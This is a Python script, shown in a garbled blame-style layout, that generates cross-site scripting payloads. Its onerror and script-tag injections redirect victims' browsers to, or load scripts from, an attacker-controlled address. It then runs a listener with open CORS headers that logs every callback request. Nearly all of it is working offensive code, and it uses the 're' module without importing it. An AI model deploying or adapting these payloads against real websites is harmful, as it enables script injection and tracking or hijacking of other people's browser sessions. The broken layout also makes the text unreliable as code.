2020-06-02 14:15:03 +02:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
2020-09-28 15:44:39 +02:00
|
|
|
from hackingscripts import util
|
2024-02-14 12:40:05 +01:00
|
|
|
from fileserver import HttpFileServer
|
|
|
|
import argparse
|
|
|
|
import random
|
2020-09-22 20:55:06 +02:00
|
|
|
|
2024-02-14 12:40:05 +01:00
|
|
|
def generate_payload(payload_type, url, index=None, **kwargs):
|
2020-09-22 20:55:06 +02:00
|
|
|
payloads = []
|
|
|
|
|
|
|
|
media_tags = ["img","audio","video","image","body","script","object"]
|
2024-02-14 12:40:05 +01:00
|
|
|
if payload_type in media_tags:
|
|
|
|
payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (payload_type, url))
|
2020-09-22 20:55:06 +02:00
|
|
|
|
2024-02-14 12:40:05 +01:00
|
|
|
if payload_type == "script":
|
|
|
|
payloads.append('<script type="text/javascript">document.location=%s</script>' % url)
|
|
|
|
payloads.append('<script src="%s/xss" />' % url)
|
2020-09-22 20:55:06 +02:00
|
|
|
|
|
|
|
if len(payloads) == 0:
|
2020-06-02 14:15:03 +02:00
|
|
|
return None
|
|
|
|
|
2020-09-22 20:55:06 +02:00
|
|
|
return "\n".join(payloads)
|
|
|
|
|
2020-06-02 14:15:03 +02:00
|
|
|
if __name__ == "__main__":
|
|
|
|
|
2024-02-14 12:40:05 +01:00
|
|
|
parser = argparse.ArgumentParser(description="XSS payload generator")
|
|
|
|
parser.add_argument(dest="type", type=str, default=None, help="Payload type")
|
|
|
|
parser.add_argument("-p", "--port", type=int, required=False, default=None, help="Listening port")
|
|
|
|
parser.add_argument("-a", "--addr", type=str, required=False, default=util.get_address(), help="Listening address")
|
|
|
|
args, extra = parser.parse_known_args()
|
|
|
|
|
|
|
|
listen_port = args.port
|
|
|
|
payload_type = args.type.lower()
|
|
|
|
local_address = args.addr
|
|
|
|
extra_args = {}
|
|
|
|
|
|
|
|
for entry in extra:
|
|
|
|
match = re.match(r"(\w+)=(\w+)", entry)
|
|
|
|
if not match:
|
|
|
|
print("Invalid extra argument:", entry)
|
|
|
|
exit()
|
|
|
|
key, value = match.groups()
|
|
|
|
extra_args[key] = value
|
2020-06-02 14:15:03 +02:00
|
|
|
|
|
|
|
# choose random port
|
|
|
|
if listen_port is None:
|
2024-02-14 12:40:05 +01:00
|
|
|
listen_port = random.randint(10000,65535)
|
|
|
|
while util.is_port_in_use(listen_port):
|
|
|
|
listen_port = random.randint(10000,65535)
|
|
|
|
|
|
|
|
http_server = HttpFileServer(local_address, listen_port)
|
|
|
|
payload_type = args.type.lower()
|
|
|
|
url = http_server.get_full_url("/", util.get_address())
|
|
|
|
payload = generate_payload(payload_type, url, **extra_args)
|
|
|
|
if payload is None:
|
|
|
|
print("Unknown payload type: %s" % payload_type)
|
|
|
|
# print("Supported types: ")
|
2020-06-02 14:15:03 +02:00
|
|
|
exit(1)
|
|
|
|
|
2024-02-14 12:40:05 +01:00
|
|
|
print(f"---PAYLOAD---\n{payload}\n---PAYLOAD---\n")
|
|
|
|
|
|
|
|
headers = {
|
|
|
|
"Access-Control-Allow-Origin": "*",
|
|
|
|
"Access-Control-Allow-Methods": "GET, POST, OPTIONS"
|
|
|
|
}
|
2020-06-02 14:15:03 +02:00
|
|
|
|
2024-02-14 12:40:05 +01:00
|
|
|
http_server.addRoute("/", lambda req: (201, b"", headers))
|
|
|
|
http_server.dumpRequest("/")
|
|
|
|
http_server.serve_forever()
|
|
|
|
|
|
|
|
|